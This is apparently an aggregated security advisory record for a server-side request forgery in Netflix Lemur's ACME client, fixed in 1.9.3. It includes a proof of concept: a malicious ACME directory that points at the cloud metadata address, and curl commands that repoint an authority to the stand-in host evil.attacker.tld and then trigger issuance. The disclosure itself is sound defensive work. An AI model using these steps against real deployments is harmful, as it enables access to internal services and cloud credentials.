{"id":"CVE-2026-70666","aliases":["EUVD-2026-61155","GHSA-xpmj-wjcp-6pww","PYSEC-2026-3680"],"status":"published","title":"Lemur: Server-Side Request Forgery via the ACME client following server-controlled URLs","description":"Lemur manages TLS certificate creation. Prior to 1.9.3, an authority-role member could update acme_url through PUT /api/1/authorities/ without revalidation and direct setup_acme_client_no_retry to an attacker-controlled ACME server. ACME directory and order responses contain newNonce, newOrder, authorizations, and finalize URLs chosen by that server. The Lemur ClientV2 followed those URLs without requiring their host to match the configured directory host, allowing JWS-signed requests to internal services or cloud metadata endpoints. The issue required an ACME authority and a user authorized for that authority, but did not require global administrator privileges. The fix revalidates updates and introduces _PinnedClientNetwork to enforce a single allowed host for the complete ACME flow. This issue is fixed in version 1.9.3.","severity":{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00216,"percentile":0.12123,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-918"],"published":"2026-08-18T19:05:26Z","modified":"2026-10-28T02:30:23Z","fixes":[{"ecosystem":"PyPI","package":"lemur","fixed_in":["1.9.3"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"lemur","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.9.2"},{"fixed":"1.9.3"}]}]},{"source":"osv","ecosystem":"PyPI","package":"lemur","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.9.3"}]}],"versions":["0.11.0","0.2.1","0.8.0","0.8.1","0.9.0","1.0.0","1.1.0","1.2.0","1.3.1","1.3.2","1.4.0","1.5.0","1.6.0","1.7.0","1.8.0","1.8.1","1.8.2","1.9.0","1.9.1","1.9.2"]},{"source":"osv","ecosystem":"PyPI","package":"lemur","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.9.3"}]}],"versions":["0.11.0","0.2.1","0.8.0","0.8.1","0.9.0","1.0.0","1.1.0","1.2.0","1.3.1","1.3.2","1.4.0","1.5.0","1.6.0","1.7.0","1.8.0","1.8.1","1.8.2","1.9.0","1.9.1","1.9.2"]}],"products":[{"vendor":"netflix","product":"lemur"}],"references":[{"url":"https://github.com/Netflix/lemur/security/advisories/GHSA-xpmj-wjcp-6pww","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/Netflix/lemur/commit/6dcb19b6d6004e97796d6a0344b130b2ba57f050","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/Netflix/lemur/releases/tag/v1.9.3","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-xpmj-wjcp-6pww","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/70xxx/CVE-2026-70666.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70666","tags":["advisory"]},{"url":"https://github.com/Netflix/lemur","tags":["package"]},{"url":"https://pypi.org/project/lemur","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-70666","title":"Lemur: Server-Side Request Forgery via the ACME client following server-controlled URLs","description":"Lemur manages TLS certificate creation. Prior to 1.9.3, an authority-role member could update acme_url through PUT /api/1/authorities/ without revalidation and direct setup_acme_client_no_retry to an attacker-controlled ACME server. ACME directory and order responses contain newNonce, newOrder, authorizations, and finalize URLs chosen by that server. The Lemur ClientV2 followed those URLs without requiring their host to match the configured directory host, allowing JWS-signed requests to internal services or cloud metadata endpoints. The issue required an ACME authority and a user authorized for that authority, but did not require global administrator privileges. The fix revalidates updates and introduces _PinnedClientNetwork to enforce a single allowed host for the complete ACME flow. This issue is fixed in version 1.9.3.","status":"published","published":"2026-08-18T19:05:26.621Z","modified":"2026-08-19T18:20:58.433Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L","level":"high","assessor":"cna"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T13:35:33.380441Z"}],"euvd":[{"id":"EUVD-2026-61155","description":"Lemur manages TLS certificate creation. Prior to 1.9.3, an authority-role member could update acme_url through PUT /api/1/authorities/ without revalidation and direct setup_acme_client_no_retry to an attacker-controlled ACME server. ACME directory and order responses contain newNonce, newOrder, authorizations, and finalize URLs chosen by that server. The Lemur ClientV2 followed those URLs without requiring their host to match the configured directory host, allowing JWS-signed requests to internal services or cloud metadata endpoints. The issue required an ACME authority and a user authorized for that authority, but did not require global administrator privileges. The fix revalidates updates and introduces _PinnedClientNetwork to enforce a single allowed host for the complete ACME flow. This issue is fixed in version 1.9.3.","status":"published","published":"2026-08-18T19:05:26Z","modified":"2026-08-19T18:20:58Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L","level":"high"}],"updated_at":"2026-11-02T18:01:40.9092Z"}],"ghsa":[{"id":"GHSA-xpmj-wjcp-6pww","title":"Lemur: Server-Side Request Forgery via the ACME client following server-controlled URLs","description":"### Summary\nThe ACME client (used to issue certificates from Let's Encrypt / Google Public CA / private ACME CAs) connects to an `acme_url`, then issues requests to URLs that the **ACME server returns** in its directory/order/authorization/finalize responses - this is the classic ACME-client SSRF (RFC 8555 design). Lemur validates `acme_url` against an allowlist of public ACME directories, but **only at authority creation**. The authority UPDATE path (`PUT /authorities/\u003cid\u003e`) accepts a new `options` blob with an arbitrary `acme_url` and never re-validates. An attacker who is a member of an authority's role can repoint an existing ACME authority at a malicious ACME server they control, which returns internal URLs in its responses - coercing Lemur into making JWS-signed POST requests to internal services during the next certificate issuance.\n\n### Detail\n**Defect A - allowlist only at creation.**\n`_validate_acme_url` (`lemur/plugins/lemur_acme/plugin.py:35-53`) restricts the host to `{acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org, dv.acme-v02.api.pki.goog}`. It runs **only inside `create_authority`** (lines 337, 481). The update path stores `options` verbatim:\n```python\n# lemur/authorities/views.py:417-424  (Authorities.put)\nreturn service.update(\n    authority_id,\n    owner=data[\"owner\"], description=data[\"description\"],\n    active=data[\"active\"], roles=data[\"roles\"],\n    options=data.get(\"options\")          # \u003c- acme_url lives here, NO re-validation\n)\n```\n`AuthorityUpdateSchema.options = fields.String()` (`authorities/schemas.py:101`) applies no validation. The docstring of `_validate_acme_url` even admits: *\"existing authorities in the DB were already trusted when they were created and are not re-validated.\"*\n\n**Defect B - ACME client follows server-supplied URLs.**\n`setup_acme_client_no_retry` (`acme_handlers.py:161-162, 188-202`) reads `acme_url` from stored authority options and creates an ACME client. Per RFC 8555, the client:\n1. `get_directory(acme_url)` -\u003e server returns `newNonce`, `newOrder`, `revokeCert`, `keyChange` URLs.\n2. `new_order()` -\u003e server returns `finalize` and `authorizations` URLs.\n3. `poll()`, `finalize_order()`, cert download -\u003e all hit **server-chosen URLs**.\n\nA malicious ACME server can return internal URLs for all of these.\n\n**Authorization on update:** `Authorities.put` requires `AuthorityPermission(authority_id, roles)` (`views.py:412`), satisfied by `AuthorityOwnerNeed`/`AuthorityCreatorNeed` - i.e. any **member of the authority's role**, not a global admin. This is the standard role a certificate issuer holds.\n\n**Source-to-sink trace:**\n```\nPUT /api/1/authorities/\u003cid\u003e (AuthorityPermission = authority-role member)\n  -\u003e service.update(options={\"acme_url\":\"https://evil.attacker.tld/dir\"})  \u003c- no re-validation\n… next certificate issuance against this authority …\n  setup_acme_client_no_retry reads acme_url=evil.attacker.tld\n    -\u003e ACME client GET directory -\u003e attacker returns newOrder=http://169.254.169.254/...\n    -\u003e Lemur POSTs JWS-signed request to internal URL\n```\n\n### Steps to Reproduce (POC)\n\n**Step 1 - Attacker runs a malicious ACME directory server** (e.g. `evil.attacker.tld`) that returns internal URLs in its directory and order responses:\n```python\n# Minimal: a directory endpoint that points \"newOrder\" at an internal target\n{\n  \"newNonce\": \"https://evil.attacker.tld/nonce\",\n  \"newOrder\": \"http://169.254.169.254/latest/meta-data/\",   # \u003c- internal\n  \"revokeCert\": \"https://evil.attacker.tld/revoke\",\n  \"keyChange\": \"https://evil.attacker.tld/key\"\n}\n```\n\n**Step 2 - Attacker (authority-role member) repoints an existing ACME authority:**\n```bash\ncurl -k -X PUT https://lemur.example.com/api/1/authorities/42 \\\n  -H \"Authorization: Bearer \u003cJWT\u003e\" -H \"Content-Type: application/json\" \\\n  -d '{\n    \"name\":\"letsencrypt\",\n    \"owner\":\"attacker@corp.com\",\n    \"description\":\"x\",\"active\":true,\n    \"roles\":[{\"id\":7,\"name\":\"letsencrypt_operator\"}],\n    \"options\":\"[{\\\"name\\\":\\\"acme_url\\\",\\\"value\\\":\\\"https://evil.attacker.tld/dir\\\"},{\\\"name\\\":\\\"chain\\\",\\\"value\\\":\\\"\\\"}]\"\n  }'\n```\n\n**Step 3 - Issue a certificate against the repointed authority** (via UI/API):\n```bash\ncurl -k -X POST https://lemur.example.com/api/1/certificates \\\n  -H \"Authorization: Bearer \u003cJWT\u003e\" -H \"Content-Type: application/json\" \\\n  -d '{\"commonName\":\"demo.example.com\",\"owner\":\"attacker@corp.com\",\n       \"authority\":{\"name\":\"letsencrypt\"},\"validityYears\":1}'\n```\nThe Lemur ACME client connects to `evil.attacker.tld`, reads the directory, and POSTs a JWS-signed request to `http://169.254.169.254/...` - internal SSRF achieved. (The JWS body, while structured, is attacker-influenceable via the ACME flow.)\n\n\u003e *Note:* This is config-dependent - it requires an ACME authority to exist (an admin must have created one). ACME is the primary recommended issuance path in Lemur, so this is a realistic deployment state.\n\n### Impact\n- **JWS-authenticated POSTs** to attacker-chosen internal URLs - stronger than blind GET SSRF: the request body is structured/signed and the account key + cloud DNS credentials are resident in the process during issuance.\n- Reaches internal HTTP services, cloud metadata, Kubernetes API from the Lemur host.\n- The combination (allowlist-bypass-on-update + server-supplied-URL-following) makes it reachable by a **non-admin** authority-role member without ever needing the admin-gated creation path.\n- **Limitation:** requires ACME to be in use. Not default-deploy by itself, but ACME is the recommended issuance method.\n\n### Fix\n1. Re-run `_validate_acme_url` inside `authorities/service.update` / `update_options`, or make `acme_url` **immutable** after authority creation.\n2. In the ACME client wrapper, **pin every outbound request host** to the allowlisted directory host: reject any directory/order/finalize URL whose hostname ≠ the configured `acme_url` hostname.","status":"published","published":"2026-08-18T20:51:07Z","modified":"2026-08-18T20:51:08Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:41:03.602876Z"}],"nvd":[{"id":"CVE-2026-70666","description":"Lemur manages TLS certificate creation. Prior to 1.9.3, an authority-role member could update acme_url through PUT /api/1/authorities/ without revalidation and direct setup_acme_client_no_retry to an attacker-controlled ACME server. ACME directory and order responses contain newNonce, newOrder, authorizations, and finalize URLs chosen by that server. The Lemur ClientV2 followed those URLs without requiring their host to match the configured directory host, allowing JWS-signed requests to internal services or cloud metadata endpoints. The issue required an ACME authority and a user authorized for that authority, but did not require global administrator privileges. The fix revalidates updates and introduces _PinnedClientNetwork to enforce a single allowed host for the complete ACME flow. This issue is fixed in version 1.9.3.","status":"published","published":"2026-08-18T20:17:23.237Z","modified":"2026-10-22T22:10:00.25Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L","level":"high","assessor":"secondary"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:12:38.976695Z"}],"osv":[{"id":"CVE-2026-70666","title":"Lemur: Server-Side Request Forgery via the ACME client following server-controlled URLs","description":"Lemur manages TLS certificate creation. Prior to 1.9.3, an authority-role member could update acme_url through PUT /api/1/authorities/ without revalidation and direct setup_acme_client_no_retry to an attacker-controlled ACME server. ACME directory and order responses contain newNonce, newOrder, authorizations, and finalize URLs chosen by that server. The Lemur ClientV2 followed those URLs without requiring their host to match the configured directory host, allowing JWS-signed requests to internal services or cloud metadata endpoints. The issue required an ACME authority and a user authorized for that authority, but did not require global administrator privileges. The fix revalidates updates and introduces _PinnedClientNetwork to enforce a single allowed host for the complete ACME flow. This issue is fixed in version 1.9.3.","status":"published","published":"2026-08-18T19:05:26.621Z","modified":"2026-10-28T02:30:23.808112639Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:45:15.164658Z"},{"id":"GHSA-xpmj-wjcp-6pww","title":"Lemur: Server-Side Request Forgery via the ACME client following server-controlled URLs","description":"### Summary\nThe ACME client (used to issue certificates from Let's Encrypt / Google Public CA / private ACME CAs) connects to an `acme_url`, then issues requests to URLs that the **ACME server returns** in its directory/order/authorization/finalize responses - this is the classic ACME-client SSRF (RFC 8555 design). Lemur validates `acme_url` against an allowlist of public ACME directories, but **only at authority creation**. The authority UPDATE path (`PUT /authorities/\u003cid\u003e`) accepts a new `options` blob with an arbitrary `acme_url` and never re-validates. An attacker who is a member of an authority's role can repoint an existing ACME authority at a malicious ACME server they control, which returns internal URLs in its responses - coercing Lemur into making JWS-signed POST requests to internal services during the next certificate issuance.\n\n### Detail\n**Defect A - allowlist only at creation.**\n`_validate_acme_url` (`lemur/plugins/lemur_acme/plugin.py:35-53`) restricts the host to `{acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org, dv.acme-v02.api.pki.goog}`. It runs **only inside `create_authority`** (lines 337, 481). The update path stores `options` verbatim:\n```python\n# lemur/authorities/views.py:417-424  (Authorities.put)\nreturn service.update(\n    authority_id,\n    owner=data[\"owner\"], description=data[\"description\"],\n    active=data[\"active\"], roles=data[\"roles\"],\n    options=data.get(\"options\")          # \u003c- acme_url lives here, NO re-validation\n)\n```\n`AuthorityUpdateSchema.options = fields.String()` (`authorities/schemas.py:101`) applies no validation. The docstring of `_validate_acme_url` even admits: *\"existing authorities in the DB were already trusted when they were created and are not re-validated.\"*\n\n**Defect B - ACME client follows server-supplied URLs.**\n`setup_acme_client_no_retry` (`acme_handlers.py:161-162, 188-202`) reads `acme_url` from stored authority options and creates an ACME client. Per RFC 8555, the client:\n1. `get_directory(acme_url)` -\u003e server returns `newNonce`, `newOrder`, `revokeCert`, `keyChange` URLs.\n2. `new_order()` -\u003e server returns `finalize` and `authorizations` URLs.\n3. `poll()`, `finalize_order()`, cert download -\u003e all hit **server-chosen URLs**.\n\nA malicious ACME server can return internal URLs for all of these.\n\n**Authorization on update:** `Authorities.put` requires `AuthorityPermission(authority_id, roles)` (`views.py:412`), satisfied by `AuthorityOwnerNeed`/`AuthorityCreatorNeed` - i.e. any **member of the authority's role**, not a global admin. This is the standard role a certificate issuer holds.\n\n**Source-to-sink trace:**\n```\nPUT /api/1/authorities/\u003cid\u003e (AuthorityPermission = authority-role member)\n  -\u003e service.update(options={\"acme_url\":\"https://evil.attacker.tld/dir\"})  \u003c- no re-validation\n… next certificate issuance against this authority …\n  setup_acme_client_no_retry reads acme_url=evil.attacker.tld\n    -\u003e ACME client GET directory -\u003e attacker returns newOrder=http://169.254.169.254/...\n    -\u003e Lemur POSTs JWS-signed request to internal URL\n```\n\n### Steps to Reproduce (POC)\n\n**Step 1 - Attacker runs a malicious ACME directory server** (e.g. `evil.attacker.tld`) that returns internal URLs in its directory and order responses:\n```python\n# Minimal: a directory endpoint that points \"newOrder\" at an internal target\n{\n  \"newNonce\": \"https://evil.attacker.tld/nonce\",\n  \"newOrder\": \"http://169.254.169.254/latest/meta-data/\",   # \u003c- internal\n  \"revokeCert\": \"https://evil.attacker.tld/revoke\",\n  \"keyChange\": \"https://evil.attacker.tld/key\"\n}\n```\n\n**Step 2 - Attacker (authority-role member) repoints an existing ACME authority:**\n```bash\ncurl -k -X PUT https://lemur.example.com/api/1/authorities/42 \\\n  -H \"Authorization: Bearer \u003cJWT\u003e\" -H \"Content-Type: application/json\" \\\n  -d '{\n    \"name\":\"letsencrypt\",\n    \"owner\":\"attacker@corp.com\",\n    \"description\":\"x\",\"active\":true,\n    \"roles\":[{\"id\":7,\"name\":\"letsencrypt_operator\"}],\n    \"options\":\"[{\\\"name\\\":\\\"acme_url\\\",\\\"value\\\":\\\"https://evil.attacker.tld/dir\\\"},{\\\"name\\\":\\\"chain\\\",\\\"value\\\":\\\"\\\"}]\"\n  }'\n```\n\n**Step 3 - Issue a certificate against the repointed authority** (via UI/API):\n```bash\ncurl -k -X POST https://lemur.example.com/api/1/certificates \\\n  -H \"Authorization: Bearer \u003cJWT\u003e\" -H \"Content-Type: application/json\" \\\n  -d '{\"commonName\":\"demo.example.com\",\"owner\":\"attacker@corp.com\",\n       \"authority\":{\"name\":\"letsencrypt\"},\"validityYears\":1}'\n```\nThe Lemur ACME client connects to `evil.attacker.tld`, reads the directory, and POSTs a JWS-signed request to `http://169.254.169.254/...` - internal SSRF achieved. (The JWS body, while structured, is attacker-influenceable via the ACME flow.)\n\n\u003e *Note:* This is config-dependent - it requires an ACME authority to exist (an admin must have created one). ACME is the primary recommended issuance path in Lemur, so this is a realistic deployment state.\n\n### Impact\n- **JWS-authenticated POSTs** to attacker-chosen internal URLs - stronger than blind GET SSRF: the request body is structured/signed and the account key + cloud DNS credentials are resident in the process during issuance.\n- Reaches internal HTTP services, cloud metadata, Kubernetes API from the Lemur host.\n- The combination (allowlist-bypass-on-update + server-supplied-URL-following) makes it reachable by a **non-admin** authority-role member without ever needing the admin-gated creation path.\n- **Limitation:** requires ACME to be in use. Not default-deploy by itself, but ACME is the recommended issuance method.\n\n### Fix\n1. Re-run `_validate_acme_url` inside `authorities/service.update` / `update_options`, or make `acme_url` **immutable** after authority creation.\n2. In the ACME client wrapper, **pin every outbound request host** to the allowlisted directory host: reject any directory/order/finalize URL whose hostname ≠ the configured `acme_url` hostname.","status":"published","published":"2026-08-18T20:51:07Z","modified":"2026-08-19T12:55:40.814934801Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:47:00.198893Z"},{"id":"PYSEC-2026-3680","title":"Lemur: Server-Side Request Forgery via the ACME client following server-controlled URLs","description":"### Summary\nThe ACME client (used to issue certificates from Let's Encrypt / Google Public CA / private ACME CAs) connects to an `acme_url`, then issues requests to URLs that the **ACME server returns** in its directory/order/authorization/finalize responses - this is the classic ACME-client SSRF (RFC 8555 design). Lemur validates `acme_url` against an allowlist of public ACME directories, but **only at authority creation**. The authority UPDATE path (`PUT /authorities/\u003cid\u003e`) accepts a new `options` blob with an arbitrary `acme_url` and never re-validates. An attacker who is a member of an authority's role can repoint an existing ACME authority at a malicious ACME server they control, which returns internal URLs in its responses - coercing Lemur into making JWS-signed POST requests to internal services during the next certificate issuance.\n\n### Detail\n**Defect A - allowlist only at creation.**\n`_validate_acme_url` (`lemur/plugins/lemur_acme/plugin.py:35-53`) restricts the host to `{acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org, dv.acme-v02.api.pki.goog}`. It runs **only inside `create_authority`** (lines 337, 481). The update path stores `options` verbatim:\n```python\n# lemur/authorities/views.py:417-424  (Authorities.put)\nreturn service.update(\n    authority_id,\n    owner=data[\"owner\"], description=data[\"description\"],\n    active=data[\"active\"], roles=data[\"roles\"],\n    options=data.get(\"options\")          # \u003c- acme_url lives here, NO re-validation\n)\n```\n`AuthorityUpdateSchema.options = fields.String()` (`authorities/schemas.py:101`) applies no validation. The docstring of `_validate_acme_url` even admits: *\"existing authorities in the DB were already trusted when they were created and are not re-validated.\"*\n\n**Defect B - ACME client follows server-supplied URLs.**\n`setup_acme_client_no_retry` (`acme_handlers.py:161-162, 188-202`) reads `acme_url` from stored authority options and creates an ACME client. Per RFC 8555, the client:\n1. `get_directory(acme_url)` -\u003e server returns `newNonce`, `newOrder`, `revokeCert`, `keyChange` URLs.\n2. `new_order()` -\u003e server returns `finalize` and `authorizations` URLs.\n3. `poll()`, `finalize_order()`, cert download -\u003e all hit **server-chosen URLs**.\n\nA malicious ACME server can return internal URLs for all of these.\n\n**Authorization on update:** `Authorities.put` requires `AuthorityPermission(authority_id, roles)` (`views.py:412`), satisfied by `AuthorityOwnerNeed`/`AuthorityCreatorNeed` - i.e. any **member of the authority's role**, not a global admin. This is the standard role a certificate issuer holds.\n\n**Source-to-sink trace:**\n```\nPUT /api/1/authorities/\u003cid\u003e (AuthorityPermission = authority-role member)\n  -\u003e service.update(options={\"acme_url\":\"https://evil.attacker.tld/dir\"})  \u003c- no re-validation\n… next certificate issuance against this authority …\n  setup_acme_client_no_retry reads acme_url=evil.attacker.tld\n    -\u003e ACME client GET directory -\u003e attacker returns newOrder=http://169.254.169.254/...\n    -\u003e Lemur POSTs JWS-signed request to internal URL\n```\n\n### Steps to Reproduce (POC)\n\n**Step 1 - Attacker runs a malicious ACME directory server** (e.g. `evil.attacker.tld`) that returns internal URLs in its directory and order responses:\n```python\n# Minimal: a directory endpoint that points \"newOrder\" at an internal target\n{\n  \"newNonce\": \"https://evil.attacker.tld/nonce\",\n  \"newOrder\": \"http://169.254.169.254/latest/meta-data/\",   # \u003c- internal\n  \"revokeCert\": \"https://evil.attacker.tld/revoke\",\n  \"keyChange\": \"https://evil.attacker.tld/key\"\n}\n```\n\n**Step 2 - Attacker (authority-role member) repoints an existing ACME authority:**\n```bash\ncurl -k -X PUT https://lemur.example.com/api/1/authorities/42 \\\n  -H \"Authorization: Bearer \u003cJWT\u003e\" -H \"Content-Type: application/json\" \\\n  -d '{\n    \"name\":\"letsencrypt\",\n    \"owner\":\"attacker@corp.com\",\n    \"description\":\"x\",\"active\":true,\n    \"roles\":[{\"id\":7,\"name\":\"letsencrypt_operator\"}],\n    \"options\":\"[{\\\"name\\\":\\\"acme_url\\\",\\\"value\\\":\\\"https://evil.attacker.tld/dir\\\"},{\\\"name\\\":\\\"chain\\\",\\\"value\\\":\\\"\\\"}]\"\n  }'\n```\n\n**Step 3 - Issue a certificate against the repointed authority** (via UI/API):\n```bash\ncurl -k -X POST https://lemur.example.com/api/1/certificates \\\n  -H \"Authorization: Bearer \u003cJWT\u003e\" -H \"Content-Type: application/json\" \\\n  -d '{\"commonName\":\"demo.example.com\",\"owner\":\"attacker@corp.com\",\n       \"authority\":{\"name\":\"letsencrypt\"},\"validityYears\":1}'\n```\nThe Lemur ACME client connects to `evil.attacker.tld`, reads the directory, and POSTs a JWS-signed request to `http://169.254.169.254/...` - internal SSRF achieved. (The JWS body, while structured, is attacker-influenceable via the ACME flow.)\n\n\u003e *Note:* This is config-dependent - it requires an ACME authority to exist (an admin must have created one). ACME is the primary recommended issuance path in Lemur, so this is a realistic deployment state.\n\n### Impact\n- **JWS-authenticated POSTs** to attacker-chosen internal URLs - stronger than blind GET SSRF: the request body is structured/signed and the account key + cloud DNS credentials are resident in the process during issuance.\n- Reaches internal HTTP services, cloud metadata, Kubernetes API from the Lemur host.\n- The combination (allowlist-bypass-on-update + server-supplied-URL-following) makes it reachable by a **non-admin** authority-role member without ever needing the admin-gated creation path.\n- **Limitation:** requires ACME to be in use. Not default-deploy by itself, but ACME is the recommended issuance method.\n\n### Fix\n1. Re-run `_validate_acme_url` inside `authorities/service.update` / `update_options`, or make `acme_url` **immutable** after authority creation.\n2. In the ACME client wrapper, **pin every outbound request host** to the allowlisted directory host: reject any directory/order/finalize URL whose hostname ≠ the configured `acme_url` hostname.","status":"published","published":"2026-08-19T11:56:28.286395Z","modified":"2026-08-19T12:45:08.258250622Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L","level":"high"}],"updated_at":"2026-11-02T15:52:56.847083Z"}]}}